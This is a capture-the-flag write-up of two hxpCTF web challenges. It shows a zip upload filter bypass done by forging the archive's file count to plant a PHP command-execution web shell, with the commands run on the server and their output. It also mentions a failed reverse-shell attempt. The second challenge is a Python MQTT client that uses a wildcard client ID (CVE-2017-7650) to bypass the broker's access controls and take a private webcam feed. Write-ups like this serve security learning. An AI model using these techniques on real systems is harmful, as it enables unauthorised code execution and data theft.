Description
I could only play hxpCTF during my downtime at Hushcon, but found the challenges extremely fun and engaging. I’ve split my posts into the crypto challenges and the web challenges. This post is about the web.
unpack0r
unpackbar
Connection: http://195.201.136.29:8087/
Upon visiting the page, we’re presented with what’s presumed to be the page source.
<?php
if (isset($_FILES['zip']) && $_FILES['zip']['size'] < 10*1024 ){
$d = 'files/' . bin2hex(random_bytes(32));
mkdir($d) || die('mkdir');
chdir($d) || die('chdir');
$zip = new ZipArchive();
if ($zip->open($_FILES['zip']['tmp_name']) === TRUE) {
for ($i = 0; $i < $zip->numFiles; $i++) {
if(preg_match('/^[a-z]+$/', $zip->getNameIndex($i)) !== 1){
die(':/ security');
}
}
exec('unzip ' . escapeshellarg($_FILES['zip']['tmp_name']));
echo $d;
}
}
else {
highlight_file(__FILE__);
}
From the source code, we see that the page supports zip file uploads. I wonder what that looks like - let’s test the upload functionality with an empty zip.
echo 'test' > ota
zip test.zip ota
adding: ota (stored 0%)
curl http://195.201.136.29:8087 -F zip=@test.zip
files/70c4ec668530f636ec753edbc69f3013a64caba935ebbcf496c2d84d3fb47761
curl http://195.201.136.29:8087/files/70c4ec668530f636ec753edbc69f3013a64caba935ebbcf496c2d84d3fb47761/ota
test
Incredible! So the contents of the zip file are uploaded to the server and displayed back to us. The attack vector is clear, we need to display either a php pass-through page for bash or a php reverse shell. We’ll try both methods below.
From the source, if we are to upload a .php
file, we must bypass the regex validation. The code performs a regex match for each file in the zip, where it gets the number of files from $zip->numFiles
. What if we controlled that number? Let’s take a hexdump of the following two zips and see if we can notice where this data is stored.
cp ota ota2
zip test1.zip ota
adding: ota (stored 0%)
zip test2.zip ota ota2
adding: ota (stored 0%)
xxd test1.zip
50 4B 03 04 0A 00 00 00 00 00 7A B3 97 4D C6 35 B9 3B 05
00 00 00 05 00 00 00 03 00 1C 00 6F 74 61 55 54 09 00 03
68 7C 20 5C 6A 7C 20 5C 75 78 0B 00 01 04 F5 01 00 00 04
14 00 00 00 74 65 73 74 0A 50 4B 01 02 1E 03 0A 00 00 00
00 00 7A B3 97 4D C6 35 B9 3B 05 00 00 00 05 00 00 00 03
00 18 00 00 00 00 00 01 00 00 00 A4 81 00 00 00 00 6F 74
61 55 54 05 00 03 68 7C 20 5C 75 78 0B 00 01 04 F5 01 00
00 04 14 00 00 00 50 4B 05 06 00 00 00 00 01 00 01 00 49
00 00 00 42 00 00 00 00 00 ^ ^
| |
xxd test2.zip
50 4B 03 04 0A 00 00 00 00 00 7A B3 97 4D C6 35 B9 3B 05
00 00 00 05 00 00 00 03 00 1C 00 6F 74 61 55 54 09 00 03
68 7C 20 5C 6E 7C 20 5C 75 78 0B 00 01 04 F5 01 00 00 04
14 00 00 00 74 65 73 74 0A 50 4B 03 04 0A 00 00 00 00 00
7B B3 97 4D C6 35 B9 3B 05 00 00 00 05 00 00 00 04 00 1C
00 6F 74 61 32 55 54 09 00 03 6A 7C 20 5C 6B 7C 20 5C 75
78 0B 00 01 04 F5 01 00 00 04 14 00 00 00 74 65 73 74 0A
50 4B 01 02 1E 03 0A 00 00 00 00 00 7A B3 97 4D C6 35 B9
3B 05 00 00 00 05 00 00 00 03 00 18 00 00 00 00 00 01 00
00 00 A4 81 00 00 00 00 6F 74 61 55 54 05 00 03 68 7C 20
5C 75 78 0B 00 01 04 F5 01 00 00 04 14 00 00 00 50 4B 01
02 1E 03 0A 00 00 00 00 00 7B B3 97 4D C6 35 B9 3B 05 00
00 00 05 00 00 00 04 00 18 00 00 00 00 00 01 00 00 00 A4
81 42 00 00 00 6F 74 61 32 55 54 05 00 03 6A 7C 20 5C 75
78 0B 00 01 04 F5 01 00 00 04 14 00 00 00 50 4B 05 06 00
00 00 00 02 00 02 00 93 00 00 00 85 00 00 00 00 00
^ ^
| |
Right at the end we notice that two values seem unique to each zip; this value represents the number of files in the archive. So if trick the upload code to think that there’s only one file, it won’t perform a regex check against out php code! Let’s give it a shot.
echo "<?php if(_GET['chai']){ system(_GET['chai']); } ?>" > sh.php
zip ota.zip ota sh.php
adding: ota (stored 0%)
adding: sh.php (deflated 22%)
curl http://195.201.136.29:8087 -F zip=@ota.zip
files/35b3b565956486899c204c899c799747a0d9ab6584d89bcd7b62db6abcdf267c
curl http://195.201.136.29:8087/files/35b3b565956486899c204c899c799747a0d9ab6584d89bcd7b62db6abcdf267c?chai=ls
ota
sh.php
Perfect! Now we can go get the flag.
curl http://195.201.136.29:8087/files/35b3b565956486899c204c899c799747a0d9ab6584d89bcd7b62db6abcdf267c/ota.php\?chai\=ls+/
bin
boot
dev
etc
flag_WRLJSth9Xq54q5ZGNv8ppAT9.php
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
curl http://195.201.136.29:8087/files/35b3b565956486899c204c899c799747a0d9ab6584d89bcd7b62db6abcdf267c/bbb.php\?chai\=cat+/flag_WRLJSth9Xq54q5ZGNv8ppAT9.php
<?php
'hxp{please_ask_gynvael_for_more_details_on_zips_:>}';
Note: We tried a reverse PHP shell (specifically pentestmonkey) and it seems the application won’t allow reverse connections (as expexted). See output below.
curl http://195.201.136.29:8087/files/3075a1f1910f2c423d852b164f57856f37b1bdc3fb5834b7ad0a9614c1495d23/rsh.php\
WARNING: Failed to daemonise. This is quite common and not fatal.
Connection refused (111)
h4x0rpsch0rr
Finally a use case for those internet tingies!
Connection: http://195.201.136.29:8001/
Upon visiting the challenge, we land on an interesting page:
The first thing we notice is an Admin Access panel in the bottom right corner, but let’s take a look at the page’s source code first.
<script src="mqtt.min.js"></script>
<script>
var client = mqtt.connect('ws://' + location.hostname + ':60805')
client.subscribe('hxp.io/temperature/Munich')
client.on('message', function (topic, payload) {
var temp = parseFloat(payload)
var result = 'NO'
/* secret formular, please no steal*/
if (-273.15 <= temp && temp < Infinity) {
result = 'YES'
}
document.getElementById('beer').innerText = result
})
</script>
This seems to be the only interesting part of the code. It appears an MQTT server is running on port 60805, via websockets. The website is using this to determine if the temperature is appropriate for beer (hint: it always it!). I’m not familiar with MQTT, so let’s looks up to see what this service does, it’s typical uses, and how to connect as a client.
From a quick google search, we see MQTT is the standard protocol used for publish-subscribe based messaging, typically used to communicate with IOT devices. This is definitely giving me those internet tingles…let’s write a client and play around with this.
Using paho-mqtt, we install and dive into the doc. From the client section, we are provided with a functioning client! All we needed to do was edit the transport field in the Client constructor.
#!/usr/bin/env python
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
print("Connected with result code "+str(rc))
client.subscribe("$SYS/#")
def on_message(client, userdata, msg):
print(msg.topic+" "+str(msg.payload))
client = mqtt.Client(client_id="", clean_session=True, userdata=None, transport="websockets")
client.on_connect = on_connect
client.on_message = on_message
client.connect("127.0.0.1", 60805, 60)
client.loop_forever()
Connecting to the MQTT server and subscribing to $SYS/#
provides us with the following:
Connected with result code 0
$SYS/broker/version mosquitto version 1.4.10
$SYS/broker/timestamp Wed, 17 Oct 2018 19:03:03 +0200
$SYS/broker/uptime 32230 seconds
$SYS/broker/clients/total 2
$SYS/broker/clients/inactive 2
$SYS/broker/clients/disconnected 2
$SYS/broker/clients/active 0
$SYS/broker/clients/connected 0
$SYS/broker/clients/expired 0
$SYS/broker/clients/maximum 3
$SYS/broker/messages/stored 36
$SYS/broker/messages/received 24525
$SYS/broker/messages/sent 0
$SYS/broker/subscriptions/count 2
$SYS/broker/retained messages/count 36
$SYS/broker/heap/current 15432
$SYS/broker/heap/maximum 188432
$SYS/broker/publish/messages/dropped 0
$SYS/broker/publish/messages/received 12226
$SYS/broker/publish/messages/sent 0
$SYS/broker/publish/bytes/received 259943210
$SYS/broker/publish/bytes/sent 259917616
$SYS/broker/bytes/received 260805668
$SYS/broker/bytes/sent 0
$SYS/broker/load/messages/received/1min 47.07
$SYS/broker/load/messages/received/5min 46.72
$SYS/broker/load/messages/received/15min 46.25
$SYS/broker/load/publish/received/1min 22.16
$SYS/broker/load/publish/received/5min 22.30
$SYS/broker/load/publish/received/15min 22.44
$SYS/broker/load/bytes/received/1min 473285.21
$SYS/broker/load/bytes/received/5min 476202.13
$SYS/broker/load/bytes/received/15min 477959.10
$SYS/broker/load/connections/1min 11.85
$SYS/broker/load/connections/5min 11.80
$SYS/broker/load/connections/15min 11.53
$SYS/broker/log/M/subscribe 1545679548: 41d48204-490f-4454-96e4-7da9b384bf97 0 $SYS/#
$SYS/broker/log/M/subscribe 1545679550: db83a45d-31c4-437b-be83-740d245a1469 0 $internal/admin/webcam
$SYS/broker/log/M/subscribe 1545679556: bc25fcf3-2f3f-4cc7-b625-3bcecae3eead 0 $internal/admin/webcam
That last one seems awfully interesting - internet tingies, take the wheel! After a dry run, it seems that simple subscribing to $internal/admin/webcam
didn’t work. Let’s take a closer look at this specific version, maybe there’s a bypass.
Wow! Looks like there is an authentication bypass, see CVE-2017-7650. We simple set our client_id
to an MQTT wildcard (e.g. #
or +
) in order to bypass ACL check. Here’s our final client.
#!/usr/bin/env python
import sys
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
print("Connected with result code "+str(rc))
#client.subscribe("$SYS/#")
client.subscribe("$internal/#")
def on_message(client, userdata, msg):
#print(msg.topic+" "+str(msg.payload))
with open("mqtt_out",'w+') as f:
f.write(msg.payload)
sys.exit()
client = mqtt.Client(client_id="#", clean_session=True, userdata=None, transport="websockets")
client.on_connect = on_connect
client.on_message = on_message
client.connect("195.201.136.29", 60805, 60)
client.loop_forever()
Running file
on the output shows that it’s a JPEG file.
This must be for the admin page!
hxp{Air gap your beers :| - Prost!}